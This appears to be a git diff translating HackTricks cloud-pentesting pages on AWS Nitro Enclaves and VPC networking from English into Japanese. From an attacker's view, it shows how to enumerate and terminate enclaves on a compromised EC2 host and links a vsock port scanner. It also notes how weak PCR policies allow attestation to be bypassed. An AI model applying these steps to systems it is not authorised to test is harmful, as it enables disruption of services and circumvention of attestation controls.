have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` +Nitro Enclave イメージは拡張子 **`eif`** (Enclave Image File) を使用しています。 -As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File). - -The output will look similar to: - +出力は次のようになります: ``` Using the locally available Docker image... Enclave Image successfully created. { - "Measurements": { - "HashAlgorithm": "Sha384 { ... }", - "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", - "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", - "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" - } +"Measurements": { +"HashAlgorithm": "Sha384 { ... }", +"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", +"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", +"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" +} } ``` - ### Run an Image -As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file - +[**ドキュメント**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)によると、エンクレーブイメージを実行するには、**`eif`ファイルのサイズの少なくとも4倍のメモリを割り当てる必要があります**。ファイル内でそれに与えるデフォルトリソースを構成することが可能です。 ```shell /etc/nitro_enclaves/allocator.yaml ``` - > [!CAUTION] -> Always remember that you need to **reserve some resources for the parent EC2** instance also! - -After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with: +> 常に**親EC2**インスタンスのためにいくつかのリソースを**予約する**必要があることを忘れないでください！ +イメージに与えるリソースを知り、設定ファイルを変更した後でも、次のコマンドでエンクレーブイメージを実行することが可能です： ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -80,80 +71,72 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` +### Enclavesの列挙 -### Enumerate Enclaves - -If you compromise and EC2 host it's possible to get a list of running enclave images with: - +EC2ホストを侵害した場合、次のコマンドで実行中のエンクレーブイメージのリストを取得することができます: ```bash nitro-cli describe-enclaves ``` - -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: - +それは**実行中のエンクレーブイメージ内でシェルを取得することは不可能**です。なぜなら、それがエンクレーブの主な目的だからです。しかし、**`--debug-mode`**パラメータを使用した場合、次のコマンドでその**stdout**を取得することが可能です： ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` - ### Terminate Enclaves -If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with: - +攻撃者がEC2インスタンスを侵害した場合、デフォルトではシェルにアクセスすることはできませんが、次のコマンドで**終了させる**ことができます: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` - ## Vsocks -The only way to communicate with an **enclave** running image is using **vsocks**. +**エンクレーブ**で実行されているイメージと通信する唯一の方法は、**vsocks**を使用することです。 -**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments. +**Virtual Socket (vsock)**は、Linuxで特に設計されたソケットファミリーで、仮想マシン（**VMs**）とその**ハイパーバイザー**、またはVM同士の**通信**を促進します。Vsockは、ホストのネットワーキングスタックに依存せずに効率的な**双方向通信**を可能にします。これにより、ネットワーク構成がなくてもVM同士が通信できるようになり、**32ビットのコンテキストID（CID）とポート番号**を使用して接続を識別および管理します。vsock APIは、TCPおよびUDPに似たストリームおよびデータグラムソケットタイプの両方をサポートし、仮想環境におけるユーザーレベルのアプリケーションにとって多用途なツールを提供します。 > [!TIP] -> Therefore, an vsock address looks like this: `:` +> したがって、vsockアドレスは次のようになります：`:` -To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**: +エンクレーブで実行されているイメージの**CIDs**を見つけるには、次のコマンドを実行して**`EnclaveCID`**を取得できます： 
nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
     "EnclaveCID": 16,
     "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
> [!WARNING] -> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> ホストからはCIDがポートを公開しているかどうかを知る方法はないことに注意してください！ **vsockポートスキャナーのような** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner)を使用しない限り。 ### Vsock Server/Listener -Find here a couple of examples: +ここにいくつかの例があります： - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
-Simple Python Listener - +シンプルなPythonリスナー ```python #!/usr/bin/env python3 @@ -173,20 +156,17 @@ s.listen() print(f"Connection opened by cid={remote_cid} port={remote_port}") while True: - buf = conn.recv(64) - if not buf: - break +buf = conn.recv(64) +if not buf: +break - print(f"Received bytes: {buf}") +print(f"Received bytes: {buf}") ``` -
- ```bash # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` - ### Vsock Client Examples: @@ -195,8 +175,7 @@ Examples:
-Simple Python Client - +シンプルなPythonクライアント ```python #!/usr/bin/env python3 @@ -212,64 +191,51 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -
- ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` - ### Vsock Proxy -The tool vsock-proxy allows to proxy a vsock proxy with another address, for example: - +ツール vsock-proxy は、別のアドレスで vsock プロキシをプロキシすることを可能にします。例えば： ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` - -This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`: - +これは**vsockのローカルポート8001**を`ip-ranges.amazonaws.com:443`に転送し、ファイル**`your-vsock-proxy.yaml`**には`ip-ranges.amazonaws.com:443`にアクセスするための次の内容が含まれている可能性があります： ```yaml allowlist: - - { address: ip-ranges.amazonaws.com, port: 443 } +- { address: ip-ranges.amazonaws.com, port: 443 } ``` - -It's possible to see the vsock addresses (**`:`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port): - +EC2ホストによって使用されるvsockアドレス（**`:`**）を次のように見ることができます（`3:8001`に注意してください。3はCIDで、8001はポートです）： ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` - ## Nitro Enclave Atestation & KMS -The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. +Nitro Enclaves SDKは、エンクレーブがNitro **ハイパーバイザー**から**暗号的に署名されたアテステーション文書**を要求できるようにします。この文書には、そのエンクレーブに特有の**ユニークな測定値**が含まれています。これらの測定値は、**ハッシュとプラットフォーム構成レジスタ（PCR）**を含み、アテステーションプロセス中に**エンクレーブのアイデンティティを証明し**、**外部サービスとの信頼を構築する**ために使用されます。アテステーション文書には通常、PCR0、PCR1、PCR2のような値が含まれており、これはエンクレーブEIFを構築して保存する際に遭遇したことがあります。 -From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: +[**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves)から、これらはPCR値です： -
PCRHash of ...Description
PCR0Enclave image fileA contiguous measure of the contents of the image file, without the section data.
PCR1Linux kernel and bootstrapA contiguous measurement of the kernel and boot ramfs data.
PCR2ApplicationA contiguous, in-order measurement of the user applications, without the boot ramfs.
PCR3IAM role assigned to the parent instanceA contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.
PCR4Instance ID of the parent instanceA contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.
PCR8Enclave image file signing certificateA measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.
+
PCRHash of ...Description
PCR0エンクレーブイメージファイルセクションデータなしで、イメージファイルの内容の連続的な測定。
PCR1Linuxカーネルとブートストラップカーネルとブートramfsデータの連続的な測定。
PCR2アプリケーションブートramfsなしで、ユーザーアプリケーションの連続的かつ順序通りの測定。
PCR3親インスタンスに割り当てられたIAMロール親インスタンスに割り当てられたIAMロールの連続的な測定。親インスタンスが正しいIAMロールを持っている場合にのみ、アテステーションプロセスが成功することを保証します。
PCR4親インスタンスのインスタンスID親インスタンスのIDの連続的な測定。親インスタンスが特定のインスタンスIDを持っている場合にのみ、アテステーションプロセスが成功することを保証します。
PCR8エンクレーブイメージファイル署名証明書エンクレーブイメージファイルに指定された署名証明書の測定。特定の証明書によって署名されたエンクレーブイメージファイルからブートされた場合にのみ、アテステーションプロセスが成功することを保証します。
-You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. +**暗号的アテステーション**をアプリケーションに統合し、**AWS KMS**のようなサービスとの事前構築された統合を活用できます。AWS KMSは**エンクレーブアテステーションを検証**でき、キー政策にアテステーションベースの条件キー（`kms:RecipientAttestation:ImageSha384`および`kms:RecipientAttestation:PCR`）を提供します。これらのポリシーは、AWS KMSがKMSキーを使用する操作を**エンクレーブのアテステーション文書が有効であり**、**指定された条件を満たす場合にのみ許可する**ことを保証します。 > [!TIP] -> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail. +> デバッグ（--debug）モードのエンクレーブは、ゼロ（`000000000000000000000000000000000000000000000000`）で構成されたPCRを持つアテステーション文書を生成することに注意してください。したがって、これらの値をチェックするKMSポリシーは失敗します。 ### PCR Bypass -From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement). +攻撃者の視点から見ると、いくつかのPCRはエンクレーブイメージの一部またはすべてを変更することを許可し、依然として有効であることに注意してください（たとえば、PCR4は親インスタンスのIDのみをチェックするため、そのEC2で任意のエンクレーブイメージを実行することでこの潜在的なPCR要件を満たすことができます）。 -Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections. +したがって、EC2インスタンスを侵害した攻撃者は、これらの保護を回避するために他のエンクレーブイメージを実行できる可能性があります。 -The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO. +各保護を回避するために新しいイメージを変更/作成する方法に関する研究（特に明らかでないもの）はまだTODOです。 ## References - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- AWSのNitroチュートリアルのすべての部分: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..fb0518c00 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -4,37 +4,37 @@ ## AWS Networking in a Nutshell -A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**). +**VPC**は、10.0.0.0/16のような**ネットワークCIDR**を含み（その**ルーティングテーブル**と**ネットワークACL**を持つ）。 -This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**. +このVPCネットワークは**サブネット**に分割されており、**サブネット**は**VPC**、**ルーティング** **テーブル**、および**ネットワークACL**に直接**関連**しています。 -Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**. +次に、サービス（EC2インスタンスなど）に接続された**ネットワークインターフェース**は、**セキュリティグループ**を使用して**サブネット**に**接続**されます。 -Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**. +したがって、**セキュリティグループ**は、**サブネット**に関係なく、**それを使用する**ネットワーク**インターフェース**の公開ポートを制限します。そして、**ネットワークACL**は**全体のネットワーク**に対して公開ポートを**制限**します。 -Moreover, in order to **access Internet**, there are some interesting configurations to check: +さらに、**インターネットにアクセスする**ために確認すべきいくつかの興味深い設定があります： -- A **subnetwork** can **auto-assign public IPv4 addresses** -- An **instance** created in the network that **auto-assign IPv4 addresses can get one** -- An **Internet gateway** need to be **attached** to the **VPC** - - You could also use **Egress-only internet gateways** -- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. - - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- **サブネット**は**自動的にパブリックIPv4アドレスを割り当てる**ことができます +- **自動的にIPv4アドレスを割り当てる**ネットワーク内で作成された**インスタンス**は、1つを取得できます +- **インターネットゲートウェイ**は**VPCに接続**される必要があります +- **Egress-onlyインターネットゲートウェイ**を使用することもできます +- **プライベートサブネット**に**NATゲートウェイ**を持つこともでき、そこから外部サービスに**接続する**ことが可能ですが、**外部からそれらに到達することはできません**。 +- NATゲートウェイは**パブリック**（インターネットへのアクセス）または**プライベート**（他のVPCへのアクセス）である可能性があります。 ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resources into a virtual network** that you've defined. This virtual network will have several subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs... +Amazon **Virtual Private Cloud**（Amazon VPC）は、あなたが定義した**仮想ネットワーク**に**AWSリソースを起動**することを可能にします。この仮想ネットワークには、いくつかのサブネット、インターネットゲートウェイ、ACL、セキュリティグループ、IPが含まれます... ### Subnets -Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure. +サブネットは、より高いレベルのセキュリティを強化するのに役立ちます。**類似リソースの論理的グループ化**は、インフラストラクチャ全体の**管理の容易さ**を維持するのにも役立ちます。 -- Valid CIDR are from a /16 netmask to a /28 netmask. -- A subnet cannot be in different availability zones at the same time. -- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. -- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** +- 有効なCIDRは、/16ネットマスクから/28ネットマスクまでです。 +- サブネットは同時に異なるアベイラビリティゾーンに存在することはできません。 +- **AWSは各サブネットの最初の3つのホストIPアドレスを** **内部AWS使用のために予約**しています：最初のホストアドレスはVPCルーターに使用されます。2番目のアドレスはAWS DNS用に予約され、3番目のアドレスは将来の使用のために予約されています。 +- **インターネットに直接アクセスできる**サブネットは**パブリックサブネット**と呼ばれ、プライベートサブネットはそうではありません。
@@ -42,15 +42,15 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi ### Route Tables -Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the: +ルートテーブルは、VPC内のサブネットのトラフィックルーティングを決定します。どのネットワークトラフィックがインターネットまたはVPN接続に転送されるかを決定します。通常、以下へのアクセスが見つかります： -- Local VPC +- ローカルVPC - NAT -- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). - - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. -- VPC endpoints (to access S3 from private networks) +- インターネットゲートウェイ / Egress-onlyインターネットゲートウェイ（VPCにインターネットアクセスを提供するために必要）。 +- サブネットをパブリックにするには、**インターネットゲートウェイを作成してVPCに** **接続**する必要があります。 +- VPCエンドポイント（プライベートネットワークからS3にアクセスするため） -In the following images you can check the differences in a default public network and a private one: +以下の画像では、デフォルトのパブリックネットワークとプライベートネットワークの違いを確認できます：
@@ -58,142 +58,138 @@ In the following images you can check the differences in a default public networ ### ACLs -**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges. +**ネットワークアクセス制御リスト（ACL）**：ネットワークACLは、サブネットへの入出力ネットワークトラフィックを制御するファイアウォールルールです。特定のIPアドレスまたは範囲へのトラフィックを許可または拒否するために使用できます。 -- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections -- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed +- アクセスを許可/拒否するためにセキュリティグループを使用することが最も一般的ですが、これは確立されたリバースシェルを完全に切断する唯一の方法です。セキュリティグループのルールを変更しても、すでに確立された接続は停止しません。 +- ただし、これは全体のサブネットに適用されるため、必要な機能が妨げられる可能性があるため、注意が必要です。 ### Security Groups -Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\ -Usually this is used to open dangerous ports in instances, such as port 22 for example: +セキュリティグループは、VPC内のインスタンスへの入出力ネットワーク**トラフィック**を制御する仮想**ファイアウォール**です。1つのSGとMインスタンスの関係（通常は1対1）。\ +通常、これはインスタンス内の危険なポートを開くために使用されます。例えば、ポート22など：
### Elastic IP Addresses -An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account. +_Elastic IPアドレス_は、動的クラウドコンピューティング用に設計された**静的IPv4アドレス**です。Elastic IPアドレスはあなたのAWSアカウントに割り当てられ、解放するまであなたのものです。Elastic IPアドレスを使用することで、インスタンスやソフトウェアの障害をマスクし、アカウント内の別のインスタンスにアドレスを迅速に再マッピングできます。 ### Connection between subnets -By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on. +デフォルトでは、すべてのサブネットは**自動的にパブリックIPアドレスを割り当てる**ことがオフになっていますが、オンにすることができます。 -**A local route within a route table enables communication between VPC subnets.** +**ルートテーブル内のローカルルートは、VPCサブネット間の通信を可能にします。** -If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. +異なるサブネットと接続している場合、他のサブネットに接続されたサブネットにアクセスすることはできません。直接接続を作成する必要があります。**これはインターネットゲートウェイにも適用されます**。インターネットにアクセスするためにサブネット接続を通過することはできず、インターネットゲートウェイをサブネットに割り当てる必要があります。 ### VPC Peering -VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. +VPCピアリングは、**2つ以上のVPCを接続**することを可能にし、IPV4またはIPV6を使用して、同じネットワークの一部であるかのように接続します。 -Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ -If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ -Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** +ピア接続が確立されると、**1つのVPC内のリソースは他のリソースにアクセスできます**。VPC間の接続は、既存のAWSネットワークインフラストラクチャを通じて実装されるため、高可用性で帯域幅のボトルネックはありません。**ピア接続は同じネットワークの一部であるかのように動作するため、使用できるCIDRブロック範囲に制限があります。**\ +VPCの**重複または重なり合うCIDR**範囲がある場合、**VPCをピアリングすることはできません**。\ +各AWS VPCは**そのピアとのみ通信します**。例えば、VPC 1とVPC 2の間にピア接続があり、VPC 2とVPC 3の間に別の接続がある場合、VPC 1とVPC 2は直接通信でき、VPC 2とVPC 3も同様ですが、VPC 1とVPC 3は通信できません。**1つのVPCを通じて別のVPCにルーティングすることはできません。** ### **VPC Flow Logs** -Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**. +VPC内には、異なるサブネット間で通信する数百または数千のリソースが存在する可能性があります。**VPC Flow Logsは、VPC内のリソースのネットワークインターフェース間で流れるIPトラフィック情報をキャプチャすることを可能にします**。 -Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**. +S3アクセスログやCloudFrontアクセスログとは異なり、**VPC Flow Logsによって生成されたログデータはS3に保存されません。代わりに、キャプチャされたログデータはCloudWatchログに送信されます**。 -Limitations: +制限事項： -- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account. -- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces -- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one. -- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server. -- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service. -- Traffic relating to an Amazon Windows activation license from a Windows instance -- Traffic between a network load balancer interface and an endpoint network interface +- VPCピア接続を実行している場合、同じアカウント内のピアVPCのフローログのみを表示できます。 +- EC2-Classic環境内でリソースを実行している場合、残念ながらそのインターフェースから情報を取得することはできません。 +- VPC Flow Logが作成されると、変更することはできません。VPC Flow Logの設定を変更するには、それを削除して新しいものを再作成する必要があります。 +- 次のトラフィックはログによって監視およびキャプチャされません。VPC内のDHCPトラフィック、Amazon DNSサーバー宛てのインスタンスからのトラフィック。 +- VPCデフォルトルーターのIPアドレス宛てのトラフィックおよび次のアドレスとの間のトラフィック、169.254.169.254（インスタンスメタデータを収集するために使用される）および169.254.169.123（Amazon Time Sync Serviceに使用される）。 +- WindowsインスタンスからのAmazon Windowsアクティベーションライセンスに関連するトラフィック +- ネットワークロードバランサーインターフェースとエンドポイントネットワークインターフェース間のトラフィック -For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**. +CloudWatchロググループにデータを公開する各ネットワークインターフェースは、異なるログストリームを使用します。そして、これらのストリーム内には、ログエントリの内容を示すフローログイベントデータがあります。これらの**ログは、約10〜15分のウィンドウ内でデータをキャプチャします**。 ## VPN ### Basic AWS VPN Components 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- カスタマーゲートウェイは、VPN接続のあなたの側を表すためにAWSで作成するリソースです。 +- これは、サイト間VPN接続のあなたの側にある物理デバイスまたはソフトウェアアプリケーションです。 +- ルーティング情報とネットワークデバイス（ルーターやファイアウォールなど）のパブリックIPアドレスをAWSに提供してカスタマーゲートウェイを作成します。 +- VPN接続を設定するための参照ポイントとして機能し、追加料金は発生しません。 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- 仮想プライベートゲートウェイ（VPG）は、サイト間VPN接続のAmazon側のVPN集中装置です。 +- VPCに接続され、VPN接続のターゲットとして機能します。 +- VPGはVPN接続のAWS側エンドポイントです。 +- VPCとオンプレミスネットワーク間の安全な通信を処理します。 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- サイト間VPN接続は、オンプレミスネットワークをVPCに安全なIPsec VPNトンネルを介して接続します。 +- このタイプの接続には、カスタマーゲートウェイと仮想プライベートゲートウェイが必要です。 +- データセンターやネットワークとAWS環境間の安全で安定した一貫した通信に使用されます。 +- 通常、定期的で長期的な接続に使用され、接続を介して転送されるデータ量に基づいて請求されます。 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- クライアントVPNエンドポイントは、クライアントVPNセッションを有効にし、管理するためにAWSで作成するリソースです。 +- 個々のデバイス（ラップトップ、スマートフォンなど）がAWSリソースまたはオンプレミスネットワークに安全に接続できるようにするために使用されます。 +- サイト間VPNとは異なり、個々のクライアント向けに設計されています。 +- クライアントVPNでは、各クライアントデバイスがVPNクライアントソフトウェアを使用して安全な接続を確立します。 